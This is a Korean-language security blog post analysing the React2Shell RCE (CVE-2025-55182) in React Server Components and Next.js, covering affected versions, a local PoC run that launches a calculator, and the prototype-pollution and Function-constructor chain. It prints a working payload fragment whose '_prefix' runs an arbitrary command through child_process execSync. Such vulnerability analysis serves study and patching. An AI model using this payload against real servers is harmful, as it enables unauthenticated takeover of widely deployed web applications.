개요

개인정보 유출 사고들이 줄줄이 터지는 한해였던 2025년 마무리를 장식하는 Log4j 이후 역사에 남을 취약점이 발견되었습니다. 바로 React2Shell 이라고 불리는 CVE-2025-55182 취약점입니다.

해당 취약점이 매우 이슈가 되고 있는 이유는 크게 3가지가 있습니다.

  1. 인증 없음
  2. 원격으로
  3. Code Execution(코드 실행)

“인증없이 원격 코드 실행(Remote Code Execution)이 가능하다” 이 문장은 해커 입장에선 마법이나 다름 없습니다. 보통은 취약점이 발견되어도 바로 공격에 활용 가능한 것이 아닌, 실제 공격 대상 서비스에 환경이나 라이브러리가 맞아도 공격에 실패하는 경우가 많습니다. 하지만 해당 취약점은 공격 구현 난이도가 매우 낮은 취약점이라 공개 후 얼마되지 않았는데도 블랙 해커들이 실제 상용 서비스에 공격을 시도 중이라는 기사도 찾아볼 수 있습니다.

필요한 배경 지식

이번 취약점을 이해하기 위한 배경 지식을 간단하게 설명 후 취약점 분석을 시작하겠습니다.

먼저 React는 세계적으로 널리 사용되는 프론트엔드 기술이며, 높은 코드 재사용성과 렌더링 성능을 강점으로 생태계를 확장했습니다(현재 전 세계 웹 서비스 중 5% 이상이 React 기반이라고 합니다).

React2Shell 취약점은 공격자가 인증 없이 인터넷을 통해 서비스에 접근하는 것 만으로도 기업 서버에서 명령 실행이 가능합니다. 특히 추가적인 옵션이 설정된 환경이 아닌 일반적인 환경에서 발생하기에, React를 사용 중인 모든 서비스에 영향을 미칠 수 있다는 점이 매우 심각합니다.

Node.js 생태계에서 많이 사용되는 Next.js 역시 React 위에서 동작하기 때문에 Next.js를 사용하면 이번 취약점에 대해 조치를 취해야합니다.

영향 버전

React 패키지

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

PoC 실습

실습 먼저 하고 분석을 진행하겠습니다.

PoC 실습을 위한 환경 구축은 아래 레포지토리를 사용했습니다. https://github.com/shren207/CVE-2025-55182

취약한 서비스 구동

먼저 취약한 버전의 서비스를 실행해줍니다.

cd vulnerable-server
npm install
npm run dev

https://localhost:3000 주소로 접속해보면 아래와 같이 서버가 올라옵니다.

공격 PoC 코드 실행

exploit 폴더로 이동 후 node poc.js -m calc 명령어를 사용해주게 되면, 서버가 돌아가는 환경에서 계산기가 실행되게 됩니다.

cd exploit
 
# macOS
node poc.js -m calc
 
# Linux
node poc.js -m calc -c linux
 
# Windows
node poc.js -m calc -c windows

저는 macOS에서 서버를 돌리고 있었기 때문에 맥북의 계산기 프로그램이 실행되었습니다.

PoC 분석

개요

React Server ComponentsFlight 프로토콜이 클라이언트가 전송한 데이터를 역직렬화할 때 발생합니다.

React Server Components (RSC)

  • React Server Components: React 컴포넌트를 Server Component, Client Component로 나누는 아키텍처
┌─────────────────┐     ┌─────────────────┐
   클라이언트 ←──     서버
   (브라우저)      │     │   (Node.js)     │

  Client  Server
  Components  Components
  (상호작용)       │     │  (데이터 접근)     │
└─────────────────┘     └─────────────────┘

Flight 프로토콜

  • RSC에서 서버와 클라이언트 간 데이터를 송/수신 할때 사용하는 직렬화/역직렬화 프로토콜
  • 역직렬화: 네트워크로 전송하기 위해 “문자열 / 바이트 / 토큰 스트림” 같은 형태로 바꾼 데이터를 수신 측에서 프로그램이 사용 가능한 구조로 복원하는 과정. 데이터를 파싱하는 과정이기에 철저한 검증이 없으면 취약점이 발생하기 쉬움.
서버 (Flight 직렬화) → 네트워크 → (Flight 역직렬화) → 클라이언트
클라이언트 (Flight 직렬화) → 네트워크 → (Flight 역직렬화) → 서버   !취약점!

Flight 메시지 예시

1:I["child_process",["exec"],"exec"]
2:{"cmd":"calc.exe"}
0:["$","$L1",null,{"args":["$L2"]}]

Server Actions

use server 지시어로 정의된 서버 함수입니다. 클라이언트에서 호출 시 서버에서 실행됩니다.

Server

// app/actions.ts
'use server'
 
export async function submitForm(formData: FormData) {
  const name = formData.get('name')
  await db.insert({ name })
}

Client

// 클라이언트에서 호출
<form action={submitForm}> // 호출
  <input name="name" />
  <button>Submit</button>
</form>

브라우저에서 버튼을 누를 시 서버에서 db에 name 저장

취약점 발생 원인

Server Action 트리거

headers: {
  'Next-Action': 'x',  // Server Action 식별자
  ...formData.getHeaders(),
}

Next.js는 Next-Action 헤더 감지 시 Server Action 요청으로 인식 후 처리를 위해 Http Body(FormData)를 역직렬화합니다.

해당 로직은 프레임워크 내부에 포함되어 있기 때문에 개발자가 별도로 설정하지 않아도 작동합니다. 때문에 개발자가 따로 설정하지 않아도 해당 벡터로 공격이 가능해집니다.

공격 Payload

PoC Payload 중 일부

const craftedChunk = {
  then: "$1:__proto__:then", // 프로토타입 체인 조작
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `var res = process.mainModule.require('child_process').execSync('${EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:\`$\${res}\`});`,
    // If you don't need the command output, you can use this line instead:
    // _prefix: `process.mainModule.require('child_process').execSync('${EXECUTABLE}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};
 
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

위 코드에서 _prefix 문자열이 서버에서 실행되는 코드입니다.

프로토타입 오염(Prototype Pollution)

주요 원리는 JavaScript의 객체 관리 구조를 악용하는 것입니다.

JavaScript의 모든 객체는 __proto__를 통해 프로토타입(상위 객체)와 연결됩니다. 공격자는 payload에 "$1:__proto__:then" 같은 값을 입력해서, 역직렬화 과정에서 생성되는 객체의 프로토타입을 조작합니다.

  • Next.js의 역직렬화 과정에서 "$1:__proto__:then" 문자열은 특별한 의미를 갖고 있다고 판단
  • $1은 FromData의 두번째 항목인 formData.append('1', '"$@0"')을 가리킴
  • __proto__를 통하여 JavaScript 객체의 프로토타입 체인에 접근
  • 결과적으로 then 속성을 덮어씀
  • 정상적인 경우엔 단순히 값으로 저장되지만, 공격이 목적이라면 Object.prototype.then과 같은 핵심 속성을 덮어씀

thenable을 이용한 비동기 처리 시 RCE 트리거

Next.js는 입력받은 데이터가 진짜 데이터인지, 아니면 나중에 데이터가 되는 Promise인지 확인하는 로직이 내장되어 있습니다.

Promise인지 체크할때 해당 객체가 then이라는 함수만 가지고 있으면 Promise로 쳐주는 Thenable이라는 헐렁한 규칙을 사용합니다.

  1. 공격 Payload로 Object.prototype.then 을 주입했기에 시스템에서 Promise로 취급
  2. 시스템은 이 가짜 then 함수를 실행
  3. 이때 then 값으로 Function 생성자(constructor:constructor)를 참조하게 만들기

위 내용을 기반으로 Function 생성자를 통해 코드를 실행시킵니다.

_formData: {
  get: "$1:constructor:constructor",
}
  • $1은 객체를 참조
  • .constructor는 해당 객체의 생성자 함수
  • .constructor.constructorFunction 생성자를 의미
  • _prefix에 있는 문자열이 Function 생성자를 통해 실행가능한 코드로 변환

이 과정을 통하여 payload에 있는 _prefix 문자열은 서버에서 실행되는 코드가 됩니다.

요약

  1. 안전하지 않은 역직렬화
  2. 프로토타입 오염
  3. Promise 로직 트리거
  4. Function 생성자 호출
  5. 원격 코드 실행(RCE)

Conclusion

취약점 분석 쪽은 아예 쉬고 있다가 오랜만에 대형 취약점이 터졌다고 들어서 분석해봤는데 역시 쉽지 않네요.. 그래도 이전에 prototype pollution 관련해서 분석해본 경험이 있어서 보다 수월하게 할 수 있었습니다.

PoC 환경 직접 구축해서 로컬에서 계산기까지 띄워본적은 처음이라 취약점의 위험성이 이전보다 더 직접적으로 다가왔습니다.

이 글을 읽으시는 취약점 분석 꿈나무분들은 꼭 PoC 페이로드 구현까지 해보는 습관을 갖길 바랍니다…

Reference